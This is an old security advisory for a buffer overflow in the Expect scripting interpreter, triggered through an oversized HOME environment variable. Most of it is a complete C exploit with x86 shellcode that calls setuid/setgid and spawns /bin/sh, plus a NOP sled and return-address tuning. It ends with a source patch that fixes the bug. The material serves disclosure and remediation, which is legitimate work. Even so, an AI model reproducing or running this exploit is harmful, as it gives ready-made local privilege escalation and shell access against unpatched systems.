COMMAND

    expect

SYSTEMS AFFECTED

    5.31.8 and 5.28.1, maybe others

PROBLEM

    Following is based  on a hhp  adv-17 Sec-Advisory by  Ben Lull and
    Cody  Tubbs.   Expect   is   a  program  to  control   interactive
    applications.  These applications interactively  prompt and expect
    a user to enter keystrokes in response.   By using Expect, you can
    write simple scripts to automate these interactions.

    It is possible to cause Expect to segfault due to impropper bounds
    checking.  EIP can then  be overwritten and the flow  of execution
    changed.   It  is  possible  to  exploit  any script that uses the
    Expect program (Scripting lang).

    If an Execpt  script is suid/sgid  it most likely  is not possible
    to gain the  set privleges due  to the execution  of Expect before
    any permission changes take effect.

    If an application is suid/sgid  and sets the effective UID  or GID
    without cleansing the  environment then calls  upon Expect or  via
    an Expect script, it is  possible to exploit the Expect  scripting
    interpreter.

    Exploit:

    /* hhp-expect_smash.c (12/11/00)
     *
     * expect (/usr/bin/expect) buffer overflow.
     * Tested 5.31.8 and 5.28.1, slackware 7.x (Maybe others).
     *
     * By: isox
     * Site: www.hhp-programming.net
     * Advisory: www.hhp-programming.net/ouradvisories/hhp-expect_adv%2317.txt
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    #define NOP                     0x90
    #define OFFSET                  0
    #define BUFLEN                  416
    #define RET			0xbffff580   /* Slackware 7.1 */
    #define EXPECT                  "/usr/bin/expect"
    
    char code[] =
     "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x66\x31\xc0\x66\x31"
     "\xdb\xb0\x2e\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
     "\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
     "\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
     "\xdc\xff\xff\xff/bin/sh\x69";
    
    void usage(char *arg) {
      fprintf(stderr, "\nUsage: %s [offset up/down] [eip]\n\n", arg);
      fprintf(stderr, "Examples:\n");
      fprintf(stderr, "\t%s 347 up                 -=- Default EIP increased by 347 bytes\n", arg);
      fprintf(stderr, "\t%s 347 down               -=- Default EIP decreased by 347 bytes\n", arg);
      fprintf(stderr, "\t%s 429 up 0x%lx      -=- EIP set to 0x%lx and increased by 429 bytes\n", arg, RET, RET + 429);
      fprintf(stderr, "\t%s 429 down 0x%lx    -=- EIP set to 0x%lx and decreased by 429 bytes\n\n", arg, RET, RET - 429);
      exit(1);
    }
    
    
    int main(int argc, char *argv[]) {
      char *buf, *p;
      long *addressp, address;
      int offset=OFFSET;
      int i;
    
    
      if((argc < 3) || (argc > 4))
        usage(argv[0]);
    
      if(argc == 3) {
        if(!strcmp(argv[2], "up")) {
          address = RET + atoi(argv[1]);
          printf("Increasing offset by: %d\n", atoi(argv[1]));
          printf("Increasing EIP to: 0x%x\n\n", RET + atoi(argv[1]));
        }
    
        if(!strcmp(argv[2], "down")) {
          address = RET - atoi(argv[1]);
          printf("Decreasing offset by: %d\n", atoi(argv[1]));
          printf("Decreasing EIP to: 0x%x\n\n", RET - atoi(argv[1]));
        }
      }
    
      if(argc >= 4) {
        if(!strcmp(argv[2], "up")) {
          address = strtoul(argv[3], NULL, 16) + atoi(argv[1]);
          printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16));
          printf("Increasing offset by: %d\n", atoi(argv[1]));
          printf("Increasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) + atoi(argv[1])));
        }
        if(!strcmp(argv[2], "down")) {
          address = strtoul(argv[3], NULL, 16) + atoi(argv[1]);
          printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16));
          printf("Decreasing offset by: %d\n", atoi(argv[1]));
          printf("Decreasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) - atoi(argv[1])));
        }
      }
    
    
      if (!(buf = (char *)malloc(BUFLEN))) {
        printf("Can't allocate memory.\n");
        exit(-1);
      }
    
      p = buf;
      addressp = (long *) p;
    
      for (i = 0; i < BUFLEN; i+=4) {
        *(addressp++) = address;
      }
    
      for (i = 0; i < (BUFLEN - strlen(code) - 4); i++) {
        buf[i] = NOP;
      }
    
      p = buf + (BUFLEN - strlen(code) - 4);
    
      for (i = 0; i < strlen(code); i++)
        *(p++) = code[i];
    
      buf[BUFLEN] = '\0';
    
    
      setenv("HOME", buf, 1);
      system(EXPECT);
    }

SOLUTION

    Apply this patch made and tested on version 5.31.8.  To apply  the
    patch, take this snippet out  and name it hhp-expect.patch in  the
    expect-5.31 directory.  Then type...  patch -p1 < hhp-expect.patch
    and finish with a 'make' and a 'make install'

    --- old/exp_main_sub.c  Sun Dec 17 04:01:50 2000
    +++ new/exp_main_sub.c  Sun Dec 17 04:02:46 2000
    @@ -761,14 +761,14 @@
                }
            }
            if (my_rc) {
    -           char file[200];
    +           char file[256];
                char *home;
                int fd;
                char *getenv();
                if ((NULL != (home = getenv("DOTDIR"))) ||
                    (NULL != (home = getenv("HOME")))) {
    -               sprintf(file,"%s/.expect.rc",home);
    +               snprintf(file, 256-1, "%s/.expect.rc", home); // Temporary fix.
                    if (-1 != (fd = open(file,0))) {
                        if (TCL_ERROR == (rc = Tcl_EvalFile(interp,file))) {
                            expErrorLog("error executing file: %s\r\n",file);